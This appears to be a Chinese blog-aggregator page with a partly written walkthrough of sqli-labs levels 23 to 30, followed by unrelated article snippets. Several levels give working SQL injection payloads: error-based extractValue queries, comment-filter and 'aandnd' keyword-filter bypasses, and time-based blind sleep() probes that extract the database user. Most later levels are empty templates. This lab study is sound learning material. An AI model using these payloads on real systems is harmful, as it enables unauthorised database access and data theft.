当前位置： 首页 > news >正文

sqli 靶场 Level23-Level30 wp

news 2025/8/19 2:57:45

level-23 （注释被过滤）

  1. 抓包，查看正常请求和响应。

    略

  2. 尝试是否存在注入

    • id=1’,id=1’'，成周期性变化

    image-20231101115227628

  3. 尝试 POC

  • POC: id=1'+and+extractValue(1,concat(0x7e,user()))--+'

结果：failed。怀疑–被过滤掉了，尝试前后闭合方案

  • POC: id=1'+and+extractValue(1,concat(0x7e,user()))+and+'


​

​ 结果：ok。

level-24(二次注入)

  1. 抓包，查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-25 (and、or被过滤)

  1. 抓包，查看正常请求和响应

  2. 尝试是否存在注入

    ''存在

  3. 尝试POC

  • POC：id=-1'+or+extractValue(1,concat(0x73,user()))--+

发现and,or关键字被屏蔽了，还是不区分大小写的屏蔽


  • 使用union

结果：成功注入

  • 使用aandnd/anandd --> and

POC: id=-1'+aandnd+extractValue(1,concat(0x73,user()))--+

level-25a(and、or被过滤盲注)

  1. 抓包，查看正常请求和响应

    略

  2. 尝试是否存在注入

​ 存在

  • POC：id=1' and if(1,sleep(3),sleep(0))--+

    ==>不休眠

  • POC：id=1" and if(1,sleep(3),sleep(0))--+

​ ==>休眠

  • POC：id=1 and if(1,sleep(3),sleep(0))--+

  1. 尝试POC

    • step1: 猜字符串长度：POC: id=1+aandnd+if(length(user())=§1§,sleep(3),0)--+

​ ==》14

  • step2：猜每个字符： POC: id=1+aandnd+if(substr(user(),§1§,1)='§a§',sleep(3),0)--+

​ ==》root@localhost

level-26 (空格、注释被过滤)

  1. 抓包，查看正常请求和响应

  1. 尝试是否存在注入
  • 使用单双引号，发现输出周期性变化，存在注入
  1. 尝试POC
  • POC: '+union+select+1,user(),3--+

==> 空格被过滤了

  • 尝试

level-26a ()

  1. 抓包，查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-27 ()

  1. 抓包，查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-27a ()

  1. 抓包，查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-28 ()

  1. 抓包，查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-28a ()

  1. 抓包，查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-29 ()

  1. 抓包，查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

level-30 ()

  1. 抓包，查看正常请求和响应

  2. 尝试是否存在注入

  3. 尝试POC

相关文章：

sqli 靶场 Level23-Level30 wp

level-23 （注释被过滤） 抓包，查看正常请求和响应。 略 尝试是否存在注入 id1’,id1’，成周期性变化 尝试 POC POC: id1andextractValue(1,concat(0x7e,user()))-- 结果：failed。怀疑–被过滤掉了，尝试…...

编程日记 2023/11/1 19:25:14

《完蛋！我被美女包围了》突然火了！世界首个开源贡献榜出炉丨 RTE 开发者日报 Vol.75

开发者朋友们大家好： 这里是 「RTE 开发者日报」 ，每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE （Real Time Engagement） 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文…...

编程日记 2023/11/1 19:24:13

C++ Qt 学习（一）：Qt 入门

Qt6 安装教程 0. 基础知识 0.1 qmake 和 cmake 对比 qmake：qt 独有的代码构建工具cmake：C 通用的代码构建工具，绝大部分 C 开源项目都使用 cmake 管理代码qt 项目，没有特殊要求，使用 qmake 即可 0.2 Qt 3 个窗口类的…...

编程日记 2023/11/1 19:23:11

高性能消息中间件 - Kafka3.x（三）

文章目录 高性能消息中间件 - Kafka3.x（三）Kafka Broker ⭐Kafka Broker概念Zookeeper（新版本可以不使用zk了）⭐Zookeeper的作用 Kafka的选举1：Broker选举Leader⭐Broker核心参数⭐案例：服役新节点和退役旧…...

编程日记 2023/11/1 19:22:10

【八】Linux成神之路

Linux成神之路 简介：最近梳理了一下自己linux系统的学习历程，感觉整个成长过程就很顺利，并没有走弯路，于是想着可以不可以把自己linux系统学习的路线记录下来，能够在大家成长的路上有一点帮助，就在这样的一…...

编程日记 2023/11/1 19:21:09

功能测试用例，需要详细到什么程度？

📢专注于分享软件测试干货内容，欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正！📢交流讨论：欢迎加入我们一起学习！📢资源分享：耗时200小时精选的「软件测试」资…...

编程日记 2023/11/1 19:20:08

VScode远程连接错误:进程试图写入不存在的管道

使用VScode连接树莓派时，出现远程连接错误：进程试图写入不存在的管道 解决方案： （1）可以进入config所在文件夹，删除文件 （2）无法解决的化尝试下述方法 输入 Remotting-SSH:Settin…...

编程日记 2023/11/1 19:19:06

Python测试之Pytest详解

概要 当涉及到python的测试框架时，pytest是一个功能强大且广泛应用的第三方库。它提供简洁而灵活的方式来编写和执行测试用例，并具有广泛的应用场景。下面是pytest的介绍和详细使用说明： pytest是一个用于python单元测试的框架，它…...

编程日记 2023/11/1 19:18:04

uni-app微信小程序打开第三方地图

需求 小程序中有个按钮点击以后会调用手机中第三方地图进行导航。参数 位置信息 经度 与纬度。 实现方法 uni.openLocation({latitude: Number(地址纬度),longitude: Number(地址经度),name: 地址名称,address: 地址详情,success: function (res) {console.log(打开系统位置地…...

编程日记 2023/11/1 19:17:03

Android NDK开发详解之NDK 使用入门

Android NDK开发详解之NDK 使用入门 下载 NDK 和工具创建或导入原生项目 原生开发套件 (NDK) 是一套工具，使您能够在 Android 应用中使用 C 和 C 代码，并提供众多平台库，您可使用这些平台库管理原生 activity 和访问实体设备组件，…...

编程日记 2023/11/1 19:16:01

nmap指纹识别要点以及又快又准之方法

nmap指纹识别要点以及又快又准之方法 一. 前言：二. nmap识别实验：一. 实验一：IP配置：空间配置：扫描结果：详细输出二. 实验二：IP配置：空间配置：扫描结果：详细输出三. 实验三：IP配置：空间配置：扫描结果：详细输出四. 实验四：IP...

编程日记 2023/11/1 19:12:58

Rust编程基础之6大数据类型

1.Rust数据类型 在 Rust 中, 每一个值都属于某一个 数据类型（data type）, 这告诉 Rust 它被指定为何种数据，以便明确数据处理方式。我们将看到两类数据类型子集：标量（scalar）和复合（compound&a…...

编程日记 2023/11/1 19:11:57

06 MIT线性代数-线性无关，基和维数Independence, basis, and dimension

1. 线性无关 Independence Suppose A is m by n with m<n (more unknowns than equations) Then there are nonzero solutions to Ax0 Reason: there will be free variables! A中具有至少一个自由变量&#xff0c;那么Ax0一定具有非零解。A的列向量可以线性组合得到零向…...

编程日记 2023/11/1 19:10:56

Kubernetes 概述以及Kubernetes 集群架构与组件

目录 Kubernetes概述 K8S 是什么 为什么要用 K8S K8S 的特性 Kubernetes 集群架构与组件 核心组件 Master 组件 Node 组件 ​编辑 Kubernetes 核心概念 常见的K8S按照部署方式 Kubernetes概述 K8S 是什么 K8S 的全称为 Kubernetes,Kubernetes 是一个可移植、可扩…...

编程日记 2023/11/1 19:08:54

GZ035 5G组网与运维赛题第9套

2023年全国职业院校技能大赛 GZ035 5G组网与运维赛项&#xff08;高职组&#xff09; 赛题第9套 一、竞赛须知 1.竞赛内容分布 竞赛模块1--5G公共网络规划部署与开通&#xff08;35分&#xff09; 子任务1&#xff1a;5G公共网络部署与调试&#xff08;15分&#xff09; 子…...

编程日记 2023/11/1 19:07:53

使用Jasypt3.0.3版本对SpringBoot配置文件加密

时间 2023-11-01 使用Jasypt3.0.3版本对SpringBoot配置文件加密 目录 引入依赖使用密钥生成密文配置yml验证是否自动解密 引入依赖 <!--yml 文件加解密--><dependency><groupId>com.github.ulisesbocchio</groupId><artifactId>jasypt-spring-b…...

编程日记 2023/11/1 19:06:52

生成一篇博客，详细讲解springboot的单点登录功能，有流程图，有源码demo

SpringBoot是目前非常流行的一个Java开发框架&#xff0c;它以简洁的配置和快速的开发效率著称。在实际应用中&#xff0c;单点登录是一个非常重要的功能&#xff0c;它可以让用户在多个应用系统中使用同一个账号登录&#xff0c;提高用户体验和安全性。本文将详细讲解如何在Sp…...

编程日记 2023/11/1 19:05:51

Hadoop、Hive安装

一、 工具 Linux系统&#xff1a;Centos&#xff0c;版本7.0及以上 JDK&#xff1a;jdk1.8 Hadoop&#xff1a;3.1.3 Hive&#xff1a;3.1.2 虚拟机&#xff1a;VMware mysql&#xff1a;5.7.11 工具下载地址: https://pan.baidu.com/s/1JYtUVf2aYl5–i7xO6LOAQ 提取码: xavd…...

编程日记 2023/11/1 19:04:49

PHP自定义函数--输入起始日期和解算日期返回日期差几天和 上一个周期的起始结束日期

/** 日期差几天* param beginDate:2018-01-26 endDatee:2018-01-26* return int days* */ function dateDiff($beginDate, $endDate) {$diff date_diff(date_create($beginDate), date_create($endDate))->format(%R%a);return (int)$diff; }/** 返回上一周期的起始和结束日…...

编程日记 2023/11/1 19:03:48

.net 7 上传文件踩坑

(Name “file”) 没加上这个传不进文件 /// <summary>/// 上传单个文件/// </summary>/// <param name"formFile"></param>/// <returns></returns>[HttpPost("UploadFiles")][FunctionAttribute(MuType.Btn, "…...

编程日记 2023/11/1 19:02:47

eNSP-Cloud(实现本地电脑与eNSP内设备之间通信)

说明&#xff1a; 想象一下&#xff0c;你正在用eNSP搭建一个虚拟的网络世界&#xff0c;里面有虚拟的路由器、交换机、电脑&#xff08;PC&#xff09;等等。这些设备都在你的电脑里面“运行”&#xff0c;它们之间可以互相通信&#xff0c;就像一个封闭的小王国。 但是&#…...

编程新知 2025/8/17 22:53:23

树莓派超全系列教程文档--(61)树莓派摄像头高级使用方法

树莓派摄像头高级使用方法 配置通过调谐文件来调整相机行为 使用多个摄像头安装 libcam 和 rpicam-apps依赖关系开发包 文章来源&#xff1a; http://raspberry.dns8844.cn/documentation 原文网址 配置 大多数用例自动工作&#xff0c;无需更改相机配置。但是&#xff0c;一…...

编程新知 2025/8/10 20:33:08

Spring Boot 实现流式响应（兼容 2.7.x）

在实际开发中&#xff0c;我们可能会遇到一些流式数据处理的场景&#xff0c;比如接收来自上游接口的 Server-Sent Events&#xff08;SSE&#xff09; 或 流式 JSON 内容&#xff0c;并将其原样中转给前端页面或客户端。这种情况下&#xff0c;传统的 RestTemplate 缓存机制会…...

编程新知 2025/8/11 8:18:44

【论文笔记】若干矿井粉尘检测算法概述

总的来说&#xff0c;传统机器学习、传统机器学习与深度学习的结合、LSTM等算法所需要的数据集来源于矿井传感器测量的粉尘浓度&#xff0c;通过建立回归模型来预测未来矿井的粉尘浓度。传统机器学习算法性能易受数据中极端值的影响。YOLO等计算机视觉算法所需要的数据集来源于…...

编程新知 2025/7/9 21:22:02

sqlserver 根据指定字符 解析拼接字符串

DECLARE LotNo NVARCHAR(50)A,B,C DECLARE xml XML ( SELECT <x> REPLACE(LotNo, ,, </x><x>) </x> ) DECLARE ErrorCode NVARCHAR(50) -- 提取 XML 中的值 SELECT value x.value(., VARCHAR(MAX))…...

编程新知 2025/7/27 1:33:21

DBAPI如何优雅的获取单条数据

API如何优雅的获取单条数据 案例一 对于查询类API&#xff0c;查询的是单条数据&#xff0c;比如根据主键ID查询用户信息&#xff0c;sql如下&#xff1a; select id, name, age from user where id #{id}API默认返回的数据格式是多条的&#xff0c;如下&#xff1a; {&qu…...

编程新知 2025/8/8 2:43:17

Axios请求超时重发机制

Axios 超时重新请求实现方案 在 Axios 中实现超时重新请求可以通过以下几种方式&#xff1a; 1. 使用拦截器实现自动重试 import axios from axios;// 创建axios实例 const instance axios.create();// 设置超时时间 instance.defaults.timeout 5000;// 最大重试次数 cons…...

编程新知 2025/7/21 22:01:13

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

编程新知 2025/8/16 1:38:31

Git 3天2K星标：Datawhale 的 Happy-LLM 项目介绍（附教程）

引言 在人工智能飞速发展的今天&#xff0c;大语言模型&#xff08;Large Language Models, LLMs&#xff09;已成为技术领域的焦点。从智能写作到代码生成&#xff0c;LLM 的应用场景不断扩展&#xff0c;深刻改变了我们的工作和生活方式。然而&#xff0c;理解这些模型的内部…...

编程新知 2025/8/10 11:27:44

NPOI操作EXCEL文件 ——CAD C# 二次开发

缺点:dll.版本容易加载错误。CAD加载插件时&#xff0c;没有加载所有类库。插件运行过程中用到某个类库&#xff0c;会从CAD的安装目录找&#xff0c;找不到就报错了。 【方案2】让CAD在加载过程中把类库加载到内存 【方案3】是发现缺少了哪个库&#xff0c;就用插件程序加载进…...

编程新知 2025/7/8 18:12:44